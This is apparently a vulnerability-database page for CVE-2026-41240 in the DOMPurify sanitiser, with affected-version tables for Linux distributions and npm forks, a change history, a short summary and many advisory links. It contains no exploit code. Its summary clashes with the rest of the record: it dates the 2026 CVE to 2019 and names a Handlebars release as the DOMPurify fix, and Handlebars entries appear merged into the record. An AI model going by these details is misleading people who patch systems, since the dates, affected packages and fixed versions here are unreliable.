All versions, plus listed versions 2.4.1+dfsg+~2.4.0-12.4.1+dfsg+~2.4.0-22.4.1+dfsg+~2.4.0-2+deb12u13.0.9+dfsg+~3.0.5-13.1.6+dfsg+~3.0.5-1 Show 13 moreShow less3.1.7+dfsg+~3.0.5-13.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-23.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.2+dfsg-13.4.5+dfsg-1 |
None known |
node-dompurifyDebian:13 |
All versions, plus listed versions 3.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-2 Show 7 moreShow less3.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.2+dfsg-13.4.5+dfsg-1 |
None known |
node-dompurifyDebian:14 |
before 3.4.1+dfsg-1, plus listed versions 3.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-2 |
3.4.1+dfsg-1 |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:2.6.10-1.el9ap | 0:2.6.10-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:4.7.13-2.el9ap | 0:4.7.13-2.el9ap |
python3.12-pysequoiaRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-pysequoia-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-pysequoia-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-urllib3Red Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 11 CVEs |
before 0:2.7.0-1.el9ap | 0:2.7.0-1.el9ap |
python3.12-urllib3Red Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:2.7.0-1.el9ap | 0:2.7.0-1.el9ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:2.13.0-1.el9ap | 0:2.13.0-1.el9ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 11 CVEs |
before 0:2.13.0-1.el9ap | 0:2.13.0-1.el9ap |
dompurifyRoot:npm |
before 2.5.8-aikido.3 | 2.5.8-aikido.32.5.9-aikido.13.2.4-aikido.12.5.8-aikido.12.5.9-aikido.23.2.4-aikido.22.5.9-aikido.33.2.4-aikido.32.5.8-aikido.22.5.9-aikido.43.2.4-aikido.42.5.9-aikido.53.2.4-aikido.53.4.0-aikido.1 |
@rootio/dompurifyRoot:npm |
before 2.5.8-root.io.3 | 2.5.8-root.io.32.5.9-root.io.13.2.4-root.io.12.5.8-root.io.12.5.9-root.io.23.2.4-root.io.22.5.9-root.io.33.2.4-root.io.32.5.8-root.io.22.5.9-root.io.43.2.4-root.io.42.5.9-root.io.53.2.4-root.io.53.4.0-root.io.1 |
handlebarsRoot:npm |
before 3.0.7-aikido.3 | 3.0.7-aikido.33.0.3-aikido.23.0.8-aikido.13.0.8-aikido.2 |
@rootio/handlebarsRoot:npm |
before 3.0.7-root.io.3 | 3.0.7-root.io.33.0.3-root.io.23.0.8-root.io.13.0.8-root.io.2 |
handlebarsRoot:npm |
before 3.0.3-aikido.2 | 3.0.3-aikido.23.0.7-aikido.13.0.7-aikido.23.0.7-aikido.3 |
@rootio/handlebarsRoot:npm |
before 3.0.3-root.io.2 | 3.0.3-root.io.23.0.7-root.io.13.0.7-root.io.23.0.7-root.io.3 |
node-dompurifyUbuntu:22.04:LTS |
All versions, plus listed versions 2.3.0+dfsg-22.3.3+dfsg-1 |
None known |
node-dompurifyUbuntu:24.04:LTS |
All versions, plus listed versions 2.4.1+dfsg+~2.4.0-13.0.9+dfsg+~3.0.5-1 |
None known |
node-dompurifyUbuntu:25.10 |
All versions, plus listed versions 3.1.7+dfsg+~3.0.5-13.1.7+dfsg+~3.0.5-2 |
None known |
node-dompurifyUbuntu:26.10 |
All versions, plus listed versions 3.3.3+dfsg-13.4.2+dfsg-13.4.5+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-2 |
None known |
node-dompurifyUbuntu:26.04:LTS |
All versions, plus listed versions 3.1.7+dfsg+~3.0.5-23.3.3+dfsg-1 |
None known |
argocd-cliopenSUSE:Tumbleweed |
before 3.4.3-1.1 | 3.4.3-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41240 is a medium vulnerability (CVSS 6.0) in Cure53 Dompurify, published June 5, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in handlebars 3.0.8.
References
github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80
github.com/cure53/DOMPurify/releases/tag/3.4.0
npmjs.com/advisories/1316
github.com/advisories/GHSA-2cf5-4w76-r9qv
npmjs.com/advisories/1325
Show 78 moreShow less
github.com/advisories/GHSA-g9r4-xpmj-mj65
nvd.nist.gov/vuln/detail/CVE-2026-41240
github.com/advisories/GHSA-h7mw-gpvr-xq4m
npmjs.com/advisories/1324
github.com/advisories/GHSA-q2c6-c6pm-g3gh
github.com/handlebars-lang/handlebars.js/issues/1495
github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86
snyk.io/vuln/SNYK-JS-HANDLEBARS-173692
npmjs.com/advisories/755
github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac
github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4
github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e
github.com/advisories/GHSA-q42p-pg8m-cqh6
github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41240.json
security-tracker.debian.org/tracker/CVE-2026-41240
github.com/cure53/DOMPurify
access.redhat.com/errata/RHSA-2026:34160
bugzilla.redhat.com/show_bug.cgi?id=2477154
bugzilla.redhat.com/show_bug.cgi?id=2477167
bugzilla.redhat.com/show_bug.cgi?id=2482734
bugzilla.redhat.com/show_bug.cgi?id=2487937
bugzilla.redhat.com/show_bug.cgi?id=2487949
access.redhat.com/security/updates/classification
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
bugzilla.redhat.com/show_bug.cgi?id=2449774
bugzilla.redhat.com/show_bug.cgi?id=2461147
bugzilla.redhat.com/show_bug.cgi?id=2461606
bugzilla.redhat.com/show_bug.cgi?id=2477104
bugzilla.redhat.com/show_bug.cgi?id=2466684
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34160.json
access.redhat.com/security/cve/CVE-2026-6322
cve.org/CVERecord?id=CVE-2026-6322
nvd.nist.gov/vuln/detail/CVE-2026-6322
cna.openjsf.org/security-advisories.html
github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc
access.redhat.com/security/cve/CVE-2026-33154
cve.org/CVERecord?id=CVE-2026-33154
nvd.nist.gov/vuln/detail/CVE-2026-33154
github.com/dynaconf/dynaconf/commit/2fbb45ee36b8c0caa5b924fe19f3c1a5e8603fa7
github.com/dynaconf/dynaconf/releases/tag/3.2.13
github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p
access.redhat.com/security/cve/CVE-2026-41240
cve.org/CVERecord?id=CVE-2026-41240
access.redhat.com/security/cve/CVE-2026-42035
cve.org/CVERecord?id=CVE-2026-42035
nvd.nist.gov/vuln/detail/CVE-2026-42035
github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9
access.redhat.com/security/cve/CVE-2026-42784
bugzilla.redhat.com/show_bug.cgi?id=2464122
cve.org/CVERecord?id=CVE-2026-42784
nvd.nist.gov/vuln/detail/CVE-2026-42784
access.redhat.com/security/cve/CVE-2026-44293
cve.org/CVERecord?id=CVE-2026-44293
nvd.nist.gov/vuln/detail/CVE-2026-44293
github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm
access.redhat.com/security/cve/CVE-2026-44431
cve.org/CVERecord?id=CVE-2026-44431
nvd.nist.gov/vuln/detail/CVE-2026-44431
github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc
access.redhat.com/security/cve/CVE-2026-44432
cve.org/CVERecord?id=CVE-2026-44432
nvd.nist.gov/vuln/detail/CVE-2026-44432
github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j
access.redhat.com/security/cve/CVE-2026-44488
cve.org/CVERecord?id=CVE-2026-44488
nvd.nist.gov/vuln/detail/CVE-2026-44488
github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf
access.redhat.com/security/cve/CVE-2026-44495
cve.org/CVERecord?id=CVE-2026-44495
nvd.nist.gov/vuln/detail/CVE-2026-44495
github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw
access.redhat.com/security/cve/CVE-2026-48526
cve.org/CVERecord?id=CVE-2026-48526
nvd.nist.gov/vuln/detail/CVE-2026-48526
github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx
ubuntu.com/security/CVE-2026-41240
suse.com/security/cve/CVE-2026-41240